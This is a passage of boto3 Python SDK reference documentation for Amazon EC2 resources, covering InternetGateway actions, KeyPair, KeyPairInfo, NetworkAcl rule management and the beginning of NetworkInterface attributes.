Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = internet_gateway.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified internet gateway. You must detach the internet gateway from the VPC before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteInternetGateway) + +**Request Syntax** + +response = internet_gateway.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +detach_from_vpc(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = internet_gateway.detach_from_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways") to update the attributes of the InternetGateway resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +internet_gateway.reload() + +Returns + +None + +[KeyPair](#id1242) +------------------------------------------------------------ + +_class_ EC2.KeyPair(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPair: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair = ec2.KeyPair('name') + +Parameters + +**name** (_string_) -- The KeyPair's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPair.name "EC2.KeyPair.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPair.key_fingerprint "EC2.KeyPair.key_fingerprint") +- [key_material](#EC2.KeyPair.key_material "EC2.KeyPair.key_material") +- [key_name](#EC2.KeyPair.key_name "EC2.KeyPair.key_name") +- [key_pair_id](#EC2.KeyPair.key_pair_id "EC2.KeyPair.key_pair_id") +- [tags](#EC2.KeyPair.tags "EC2.KeyPair.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPair.delete "EC2.KeyPair.delete") +- [get_available_subresources()](#EC2.KeyPair.get_available_subresources "EC2.KeyPair.get_available_subresources") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPair's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + The SHA-1 digest of the DER encoded private key. + + +key_material + +- _(string) --_ + + An unencrypted PEM encoded RSA private key. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +[KeyPairInfo](#id1243) +-------------------------------------------------------------------- + +_class_ EC2.KeyPairInfo(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) KeyPairInfo: + +import boto3 + +ec2 = boto3.resource('ec2') +key_pair_info = ec2.KeyPairInfo('name') + +Parameters + +**name** (_string_) -- The KeyPairInfo's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.KeyPairInfo.name "EC2.KeyPairInfo.name") + +These are the resource's available attributes: + +- [key_fingerprint](#EC2.KeyPairInfo.key_fingerprint "EC2.KeyPairInfo.key_fingerprint") +- [key_name](#EC2.KeyPairInfo.key_name "EC2.KeyPairInfo.key_name") +- [key_pair_id](#EC2.KeyPairInfo.key_pair_id "EC2.KeyPairInfo.key_pair_id") +- [tags](#EC2.KeyPairInfo.tags "EC2.KeyPairInfo.tags") + +These are the resource's available actions: + +- [delete()](#EC2.KeyPairInfo.delete "EC2.KeyPairInfo.delete") +- [get_available_subresources()](#EC2.KeyPairInfo.get_available_subresources "EC2.KeyPairInfo.get_available_subresources") +- [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") +- [reload()](#EC2.KeyPairInfo.reload "EC2.KeyPairInfo.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The KeyPairInfo's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.KeyPairInfo.load "EC2.KeyPairInfo.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +key_fingerprint + +- _(string) --_ + + If you used CreateKeyPair to create the key pair, this is the SHA-1 digest of the DER encoded private key. If you used ImportKeyPair to provide AWS the public key, this is the MD5 public key fingerprint as specified in section 4 of RFC4716. + + +key_name + +- _(string) --_ + + The name of the key pair. + + +key_pair_id + +- _(string) --_ + + The ID of the key pair. + + +tags + +- _(list) --_ + + Any tags applied to the key pair. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified key pair, by removing the public key from Amazon EC2. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteKeyPair) + +**Request Syntax** + +response = key_pair_info.delete( + KeyPairId='string', + DryRun=True|False +) + +Parameters + +- **KeyPairId** (_string_) -- The ID of the key pair. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_key_pairs()](#EC2.Client.describe_key_pairs "EC2.Client.describe_key_pairs") to update the attributes of the KeyPairInfo resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +key_pair_info.reload() + +Returns + +None + +[NetworkAcl](#id1244) +------------------------------------------------------------------ + +_class_ EC2.NetworkAcl(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkAcl: + +import boto3 + +ec2 = boto3.resource('ec2') +network_acl = ec2.NetworkAcl('id') + +Parameters + +**id** (_string_) -- The NetworkAcl's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkAcl.id "EC2.NetworkAcl.id") + +These are the resource's available attributes: + +- [associations](#EC2.NetworkAcl.associations "EC2.NetworkAcl.associations") +- [entries](#EC2.NetworkAcl.entries "EC2.NetworkAcl.entries") +- [is_default](#EC2.NetworkAcl.is_default "EC2.NetworkAcl.is_default") +- [network_acl_id](#EC2.NetworkAcl.network_acl_id "EC2.NetworkAcl.network_acl_id") +- [owner_id](#EC2.NetworkAcl.owner_id "EC2.NetworkAcl.owner_id") +- [tags](#EC2.NetworkAcl.tags "EC2.NetworkAcl.tags") +- [vpc_id](#EC2.NetworkAcl.vpc_id "EC2.NetworkAcl.vpc_id") + +These are the resource's available references: + +- [vpc](#EC2.NetworkAcl.vpc "EC2.NetworkAcl.vpc") + +These are the resource's available actions: + +- [create_entry()](#EC2.NetworkAcl.create_entry "EC2.NetworkAcl.create_entry") +- [create_tags()](#EC2.NetworkAcl.create_tags "EC2.NetworkAcl.create_tags") +- [delete()](#EC2.NetworkAcl.delete "EC2.NetworkAcl.delete") +- [delete_entry()](#EC2.NetworkAcl.delete_entry "EC2.NetworkAcl.delete_entry") +- [get_available_subresources()](#EC2.NetworkAcl.get_available_subresources "EC2.NetworkAcl.get_available_subresources") +- [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") +- [reload()](#EC2.NetworkAcl.reload "EC2.NetworkAcl.reload") +- [replace_association()](#EC2.NetworkAcl.replace_association "EC2.NetworkAcl.replace_association") +- [replace_entry()](#EC2.NetworkAcl.replace_entry "EC2.NetworkAcl.replace_entry") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkAcl's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkAcl.load "EC2.NetworkAcl.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations + +- _(list) --_ + + Any associations between the network ACL and one or more subnets + + - _(dict) --_ + + Describes an association between a network ACL and a subnet. + + - **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + - **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + +entries + +- _(list) --_ + + One or more entries (rules) in the network ACL. + + - _(dict) --_ + + Describes an entry in a network ACL. + + - **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + - **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + - **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + +is_default + +- _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + +network_acl_id + +- _(string) --_ + + The ID of the network ACL. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the network ACL. + + +tags + +- _(list) --_ + + Any tags assigned to the network ACL. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC for the network ACL. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_entry(kwargs_) + +Creates an entry (a rule) in a network ACL with the specified rule number. Each network ACL has a set of numbered ingress rules and a separate set of numbered egress rules. When determining whether a packet should be allowed in or out of a subnet associated with the ACL, we process the entries in the ACL according to the rule numbers, in ascending order. Each network ACL has a set of ingress rules and a separate set of egress rules. + +We recommend that you leave room between the rule numbers (for example, 100, 110, 120, ...), and not number them one right after the other (for example, 101, 102, 103, ...). This makes it easier to add a rule between existing ones without having to renumber the rules. + +After you add an entry, you can't modify it; you must either replace it, or create an entry and delete the old one. + +For more information about network ACLs, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAclEntry) + +**Request Syntax** + +response = network_acl.create_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether this is an egress rule (rule is applied to traffic leaving the subnet). + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:db8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number for the entry (for example, 100). ACL entries are processed in ascending order by rule number. + + Constraints: Positive integer from 1 to 32766. The range 32767 to 65535 is reserved for internal use. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_acl.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network ACL. You can't delete the ACL if it's associated with any subnets. You can't delete the default network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAcl) + +**Request Syntax** + +response = network_acl.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +delete_entry(kwargs_) + +Deletes the specified ingress or egress entry (rule) from the specified network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAclEntry) + +**Request Syntax** + +response = network_acl.delete_entry( + DryRun=True|False, + Egress=True|False, + RuleNumber=123 +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether the rule is an egress rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to delete. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls") to update the attributes of the NetworkAcl resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_acl.reload() + +Returns + +None + +replace_association(kwargs_) + +Changes which network ACL a subnet is associated with. By default when you create a subnet, it's automatically associated with the default network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +This is an idempotent operation. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclAssociation) + +**Request Syntax** + +response = network_acl.replace_association( + AssociationId='string', + DryRun=True|False, + +) + +Parameters + +- **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the current association between the original network ACL and the subnet. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NewAssociationId': 'string' +} + +**Response Structure** + +- _(dict) --_ + + - **NewAssociationId** _(string) --_ + + The ID of the new association. + + +replace_entry(kwargs_) + +Replaces an entry (rule) in a network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclEntry) + +**Request Syntax** + +response = network_acl.replace_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +- **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to replace the egress rule. + + Default: If no value is specified, we replace the ingress rule. + +- **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +- **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:bd8:1234:1a00::/64 ). +- **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + +- **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +- **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +- **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to replace. + + +Returns + +None + +[NetworkInterface](#id1245) +------------------------------------------------------------------------------ + +_class_ EC2.NetworkInterface(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterface: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface = ec2.NetworkInterface('id') + +Parameters + +**id** (_string_) -- The NetworkInterface's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterface.id "EC2.NetworkInterface.id") + +These are the resource's available attributes: + +- [association_attribute](#EC2.NetworkInterface.association_attribute "EC2.NetworkInterface.association_attribute") +- [attachment](#EC2.NetworkInterface.attachment "EC2.NetworkInterface.attachment") +- [availability_zone](#EC2.NetworkInterface.availability_zone "EC2.NetworkInterface.availability_zone") +- [description](#EC2.NetworkInterface.description "EC2.NetworkInterface.description") +- [groups](#EC2.NetworkInterface.groups "EC2.NetworkInterface.groups") +- [interface_type](#EC2.NetworkInterface.interface_type "EC2.NetworkInterface.interface_type") +- [ipv6_addresses](#EC2.NetworkInterface.ipv6_addresses "EC2.NetworkInterface.ipv6_addresses") +- [mac_address](#EC2.NetworkInterface.mac_address "EC2.NetworkInterface.mac_address") +- [network_interface_id](#EC2.NetworkInterface.network_interface_id "EC2.NetworkInterface.network_interface_id") +- [outpost_arn](#EC2.NetworkInterface.outpost_arn "EC2.NetworkInterface.outpost_arn") +- [owner_id](#EC2.NetworkInterface.owner_id "EC2.NetworkInterface.owner_id") +- [private_dns_name](#EC2.NetworkInterface.private_dns_name "EC2.NetworkInterface.private_dns_name") +- [private_ip_address](#EC2.NetworkInterface.private_ip_address "EC2.NetworkInterface.private_ip_address") +- [private_ip_addresses](#EC2.NetworkInterface.private_ip_addresses "EC2.NetworkInterface.private_ip_addresses") +- [requester_id](#EC2.NetworkInterface.requester_id "EC2.NetworkInterface.requester_id") +- [requester_managed](#EC2.NetworkInterface.requester_managed "EC2.NetworkInterface.requester_managed") +- [source_dest_check](#EC2.NetworkInterface.source_dest_check "EC2.NetworkInterface.source_dest_check") +- [status](#EC2.NetworkInterface.status "EC2.NetworkInterface.status") +- [subnet_id](#EC2.NetworkInterface.subnet_id "EC2.NetworkInterface.subnet_id") +- [tag_set](#EC2.NetworkInterface.tag_set "EC2.NetworkInterface.tag_set") +- [vpc_id](#EC2.NetworkInterface.vpc_id "EC2.NetworkInterface.vpc_id") + +These are the resource's available references: + +- [association](#EC2.NetworkInterface.association "EC2.NetworkInterface.association") +- [subnet](#EC2.NetworkInterface.subnet "EC2.NetworkInterface.subnet") +- [vpc](#EC2.NetworkInterface.vpc "EC2.NetworkInterface.vpc") + +These are the resource's available actions: + +- [assign_private_ip_addresses()](#EC2.NetworkInterface.assign_private_ip_addresses "EC2.NetworkInterface.assign_private_ip_addresses") +- [attach()](#EC2.NetworkInterface.attach "EC2.NetworkInterface.attach") +- [create_tags()](#EC2.NetworkInterface.create_tags "EC2.NetworkInterface.create_tags") +- [delete()](#EC2.NetworkInterface.delete "EC2.NetworkInterface.delete") +- [describe_attribute()](#EC2.NetworkInterface.describe_attribute "EC2.NetworkInterface.describe_attribute") +- [detach()](#EC2.NetworkInterface.detach "EC2.NetworkInterface.detach") +- [get_available_subresources()](#EC2.NetworkInterface.get_available_subresources "EC2.NetworkInterface.get_available_subresources") +- [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") +- [modify_attribute()](#EC2.NetworkInterface.modify_attribute "EC2.NetworkInterface.modify_attribute") +- [reload()](#EC2.NetworkInterface.reload "EC2.NetworkInterface.reload") +- [reset_attribute()](#EC2.NetworkInterface.reset_attribute "EC2.NetworkInterface.reset_attribute") +- [unassign_private_ip_addresses()](#EC2.NetworkInterface.unassign_private_ip_addresses "EC2.NetworkInterface.unassign_private_ip_addresses") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterface's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterface.load "EC2.NetworkInterface.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_attribute + +- _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** 